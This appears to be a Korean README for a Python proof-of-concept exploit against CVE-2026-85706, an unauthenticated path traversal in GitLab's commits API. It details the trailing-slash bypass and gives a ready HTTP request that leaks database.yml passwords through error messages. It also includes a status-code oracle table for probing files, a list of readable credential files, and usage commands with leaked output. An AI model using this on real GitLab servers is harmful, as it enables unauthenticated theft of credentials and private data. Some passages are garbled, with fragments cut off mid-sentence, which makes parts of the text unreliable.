
CVE-2026-85706에 대한 Python PoC로, GitLab CE/EE Repository Commits API의 인증되지 않은 경로 순회 취약점으로, 4가지 상태 오라클을 통해 임의의 로컬 파일을 유출합니다.
GitLab의 「commit 생성」 API(POST /api/v4/projects/:id/repository/commits)는 단일 요청에 대량의 파일 내용을 담을 수 있도록 허용한다. 대용량 요청 본문이 Rails 파서로 직접 들어가는 것을 피하기 위해 Workhorse는 먼저 요청 본문을 임시 파일로 디스크에 기록한 뒤, file.path / file.size 등의 메타데이터를 전달 요청에 주입하고, Rails 엔드포인트는 이 파라미터를 기준으로 파일을 다시 읽는다. 취약점 체인은 네 가지 요소가 겹쳐서 발생한다:
post ':id/repository/commits' 진입점에는 require_gitlab_workhorse!만 있고(「Workhorse를 통해 전달되었는지」만 검증), 실제 authenticate!는 뒤쪽의 authorize_push_to_branch!에 숨어 있으며, 경로 순회 읽기는 그보다 먼저 발생한다.file_params_from_body_upload는 요청 파라미터 file.path / file.size / Content-Type을 Workhorse가 주입한 메타데이터로 그대로 간주하며, 파라미터 출처를 구분하지 않으므로 File.read(file_path)로 임의의 로컬 경로를 순회할 수 있다.Content-Type=application/x-www-form-urlencoded일 때 파일 내용이 Rack::Utils.parse_nested_query로 전달되어 파싱된다. 내용 중 잘못된 %-시퀀스가 ArgumentError: invalid %-encoding (<컴포넌트 내용>)을 유발하고, bad_request!를 거쳐 400 응답에 그대로 반영된다. 반영은 선착순: & / =는 컴포넌트 경계이며, 파싱은 첫 번째 잘못된 %가 위치한 컴포넌트에서 중단되고 해당 컴포넌트를 반영한다. 구분자가 없으면 전체 파일이 하나의 컴포넌트로 통째로 반영된다(정상적인 %xx 16진수 이스케이프는 오류를 유발하지 않음)..../repository/commits\z 매칭)에 걸려 위조 파라미터가 디스크에 기록된 파일 내용에 삼켜진다. URL 끝에 /를 붙이면 해당 규칙에 매칭되지 않아 폴백 서명 리버스 프록시로 빠지며, 원본 요청 본문이 위조 파라미터와 함께 그대로 Rails로 전달되고 유효한 JWT를 지니므로 require_gitlab_workhorse!를 통과한다. Grape가 후행 슬래시를 정규화한 후에도 여전히 취약한 handler에 매칭된다.전제 조건: URL의 :id는 실제 존재하는 프로젝트여야 한다(임의의 공개 프로젝트면 충분). 전 과정에서 로그인이 필요 없다.
익스플로잇 요청 (외부 DB 배포 환경의 database.yml, 비밀번호에 잘못된 % 시퀀스가 있으면 전체가 반영됨):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
응답 (첫 번째 잘못된 %가 위치한 컴포넌트 전체가 반영됨):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
읽기는 Puma 프로세스의 git 사용자 권한으로 실행되며, 응답은 4가지 상태 oracle을 구성한다:
기본 배포 환경에서의 실제 읽기 가능 범위 (실측):
%를 포함하는 파일이다: CI 빌드 로그와 산출물, 사용자 업로드 첨부 파일, 외부 DB 배포의 database.yml. database.yml은 기본 로컬 socket peer 인증에서는 비밀번호 필드가 비어 있으며, 외부 DB 배포에서만 값이 존재한다.gitlab.yml: 렌더링된 템플릿 주석이 파일 헤더(약 19번째 줄)에 95%, %{key} 등의 시퀀스가 존재하는데, 자격 증명 설정(incoming_email, LDAP, 오브젝트 스토리지 등)은 모두 170번째 줄 이후에 있다 — 선착순이라는 특성상 기본 배포에서는 헤더 부분만 반영되고 자격 증명 부분은 읽을 수 없다; 방해 시퀀스가 없는 배포 변형(커스텀 템플릿 등)에서만 읽을 수 있다. 또한 SMTP 비밀번호(gitlab_rails['smtp_password'])는 gitlab.yml에 렌더링되지 않으며, 실제로 렌더링되는 것은 incoming_email, LDAP, object_store 자격 증명이다.secrets.yml은 순수 hex로 %를 포함하지 않아 내용을 읽을 수 없다(401); gitlab.rb, TLS 개인 키, 백업 아카이브는 root 전용이다(500 oracle만 가능)./proc/self/* 프로세스 자기 관찰, 프로젝트 ID로 경로를 환산하여 비공개 프로젝트 존재 여부 탐지.Python 3 표준 라이브러리로 구현되었으며 서드파티 의존성이 없다. 스크립트는 위 표에 따라 4가지 상태 결과를 자동으로 판독한다.
python3 exploit.py -t http://<target>:<port> # 기본적으로 gitlab.yml 읽기 (빠른 반영 검증)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
출력 예시 (기본 배포에서 gitlab.yml 읽기 — 자격 증명 부분이 아닌 헤더 부분이 반영됨):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
인가된 보안 테스트 및 취약점 연구 목적으로만 사용하십시오.
| 응답 | 의미 | 예시 |
|---|
400 local file not present | 파일이 존재하지 않음 | /etc/nonexistent |
500 Internal Server Error | 존재하지만 git 사용자가 읽을 권한이 없음(Errno::EACCES 미처리); multipart 분기에서 읽을 수 있는 파일의 파싱 오류도 마찬가지로 500으로 귀결됨 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | 존재하고 읽을 수 있지만 내용에 잘못된 % 시퀀스가 없어 반영되지 않음 | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<내용>) | 존재하고 읽을 수 있으며 잘못된 % 시퀀스를 포함 — 해당 컴포넌트 전체가 반영됨 | %를 포함한 로그, CI 빌드 산출물, 외부 DB의 database.yml |
@hashed| 파라미터 | 설명 |
|---|
-t | 대상 GitLab 주소 (필수), 예: http://<target>:<port> |
-f | 읽을 절대 경로 (기본값 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | 프로젝트 ID, 실제 존재하는 임의의 프로젝트면 충분 (기본값 1) |
-o | 읽어낸 내용을 로컬 파일로 저장 |